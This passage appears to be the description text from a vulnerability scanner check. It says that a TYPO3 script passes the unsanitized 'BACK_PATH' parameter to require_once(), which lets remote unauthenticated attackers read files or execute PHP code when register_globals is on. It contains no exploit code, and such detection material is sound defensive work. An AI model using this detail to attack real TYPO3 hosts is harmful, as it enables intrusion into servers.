"The version of TYPO3 installed on the remote host fails to sanitize
user-supplied input to the 'BACK_PATH' parameter of the
'AbstractController.php' script before using it in a PHP
'require_once()' call to include PHP code for execution.

Provided that PHP's 'register_globals' setting is enabled, a remote,
unauthenticated attacker can leverage this vulnerability to read
arbitrary files or execute arbitrary PHP code on the affected host
subject to the privileges under which the web server operates.");
